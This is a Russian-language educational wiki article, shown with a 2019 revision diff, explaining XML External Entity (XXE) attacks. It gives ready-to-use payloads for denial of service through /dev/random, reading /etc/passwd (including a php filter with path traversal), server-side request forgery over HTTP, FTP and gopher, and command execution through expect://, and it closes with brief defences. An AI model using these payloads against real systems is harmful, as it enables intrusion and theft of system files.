XXE (Xml eXternal Entity) — различия между версиями

Материал из Национальной библиотеки им. Н. Э. Баумана
(Источники)
(gopher)
(не показаны 2 промежуточные версии этого же участника)
Строка 26: Строка 26:
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Этот XML-файл, используя зависимости, подгружает содержимое файла /dev/random, который в свою очередь на UNIX-based операционной системе будет возвращать при чтении бесконечное число случайных символов, в связи с чем процесс чтения никогда не остановится и через некоторое время займет всю оперативную память, доступному процессу.
+
Этот XML-файл, используя зависимости, подгружает содержимое файла /dev/random, который в свою очередь на [[UNIX|Unix-based]] операционной системе будет возвращать при чтении бесконечное число случайных символов, в связи с чем процесс чтения никогда не остановится и через некоторое время займет всю оперативную память, доступному процессу.
 
+
  
 
===Local File Reading===
 
===Local File Reading===
Строка 73: Строка 72:
  
 
====gopher====
 
====gopher====
Протокол Gopher позволяет общаться с TCP-сервисами, используя raw tcp-сокеты. Например, можно составить полноценный HTTP-запрос:
+
Протокол [[Gopher|Gopher]] позволяет общаться с TCP-сервисами, используя raw tcp-сокеты. Например, можно составить полноценный HTTP-запрос:
 
<syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" >
 
<syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" >
 
<!ENTITY xxe SYSTEM "gopher://bmstu.net/_GET%20%2а%20HTTP%2f1.1%0aHost:%20bmstu.net%0a%0a">
 
<!ENTITY xxe SYSTEM "gopher://bmstu.net/_GET%20%2а%20HTTP%2f1.1%0aHost:%20bmstu.net%0a%0a">

Версия 02:38, 15 июня 2019

XML External Entity (XXE) - тип атаки против приложения которое парсит отправляемый XML с XML-сущностями. Эти XML-сущности могут быть использованы для получения "особого" контента с сервера. Данная атака часто проводится против приложений, использующих протоколы SOAP и XML-RPC.

Общий принцип эксплуатации

Официальный стандарт XML позвляет подключать секцию DTD, которая в свою очередь позволяет подключать дополнительные компоненты - внешние сущности. Внешние сущности могут обозначаться, как локальные файлы:

1 <!ENTITY xxe SYSTEM "file:///etc/passwd" >

, так и файлы с удаленного ресурса, доступного по определенному протоколу, например, HTTP:

1 <!ENTITY xxe SYSTEM "http://bmstu.net/" >

Если факт наличия XXE подтверждается, то тестировщик/злоумышленник переходят к следующему этапу эксплуатации, который заключается в определении списка возможных векторов атаки. Рассмотрим самые популярные из них.

Denial of service

Используя XXE, возможно провести атаку DoS - атака на сервис/сервер, приводящая сбоям его работы, используя небольшое количество запросов.

Пример XML, реализующего Denial of Service Attack:

1 <!DOCTYPE input [<!ENTITY xxe SYSTEM "file:///dev/random" >]><input>&xxe;</input>

Этот XML-файл, используя зависимости, подгружает содержимое файла /dev/random, который в свою очередь на Unix-based операционной системе будет возвращать при чтении бесконечное число случайных символов, в связи с чем процесс чтения никогда не остановится и через некоторое время займет всю оперативную память, доступному процессу.

Local File Reading

Есть несколько вариантов чтения локальных файлов.

Первый вариант - использовать только путь до файла:

1 <!ENTITY xxe SYSTEM "/etc/passwd" >

Второй вариант - добавлять file://  :

1 <!ENTITY xxe SYSTEM "file:///etc/passwd" >

Третий вариант - использовать php-wrappers(в данном случае файл закодируется в base64):

1 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=../../../../../../../etc/passwd" >

Server-Side Request Forgery

Эксплуатация SSRF - отправка сервером произвольных сетевых запросов по определенным протоколам.

Среди самых популярных протоколов есть следующие: HTTP, FTP, Gopher.

HyperText Transfer Protocol

Ранее в статье уже упоминалась возможность создания сетевых HTTP-запросов. На некоторых системах (например, в OracleDB) потребуются дополнительные настройки привилегий.

Пример запроса:

1 <!ENTITY xxe SYSTEM "http://bmstu.net/" >

File Transfer Protocol

Структура URL FTP-подключения включает в себя логин и пароль ftp-сервиса:

1 <!ENTITY xxe SYSTEM "ftp://login:password@bmstu.net:21/" >

gopher

Протокол Gopher позволяет общаться с TCP-сервисами, используя raw tcp-сокеты. Например, можно составить полноценный HTTP-запрос:

1 <!ENTITY xxe SYSTEM "gopher://bmstu.net/_GET%20%2а%20HTTP%2f1.1%0aHost:%20bmstu.net%0a%0a">

Обратите внимание на два момента. Первый - все сообщение кодируется URL-кодированием, в связи с чем возможно отправлять любые байты от 00 до FF. Второй - первый символ, идущий после домена (в нашем случае это нижнее подчеркивание), не отправляется, поэтому вместо него можно поставить любой другой произвольный байт.

Remote code execution

Редко получается раскрутить уязвимость XXE до RCE. Зависит это преимущественно от того, какой парсер XML с какими настройками используется.

Пример RCE, используя XXE, обработчик в PHP и поддержку php-wrapper'а expect://

1 <!ENTITY xxe SYSTEM "expect://pwd" >

Пример

Есть форма отправки логина и пароля в XML-формате:


1   <user>
2     <login>testlogin</login>
3     <password>testpassword</password>
4   </user>

И в случае неверного логина возвращается сообщение:

  User "testlogin" not found!

Если форма уязвима к XXE, то при отправке следующего файла


1     <?xml version="1.0" encoding="ISO-8859-1"?>
2     <!DOCTYPE login [
3       <!ELEMENT login ANY>
4       <!ENTITY xxe SYSTEM "file:///etc/passwd">
5     ]>
6     <user>
7         <login>&xxe;</login>
8         <password>1234</password>
9     </user>

, нам вернется сообщение об ошибке с содержимым файла /etc/passwd :

  User "root:X:0:0:root:/root:/bin/bash...
  ...
  ..." not found!

Способы защититься

Для закрытия уязвимости достаточно отключить поддержку XML-сущностей или использовать другой сериализатор, например, JSON.

Источники

  1. Раздел на Wiki // wikipedia.org. [2019—2019]. URL: https://ru.wikipedia.org/wiki/File_(%D1%81%D1%85%D0%B5%D0%BC%D0%B0_URI)#%D0%90%D1%82%D0%B0%D0%BA%D0%B0_XXE (дата обращения 3.06.2019).
  2. Кратко про XXE // habr.com. [2019—2019]. URL: https://habr.com/ru/company/pentestit/blog/325270/ (дата обращения 3.06.2019).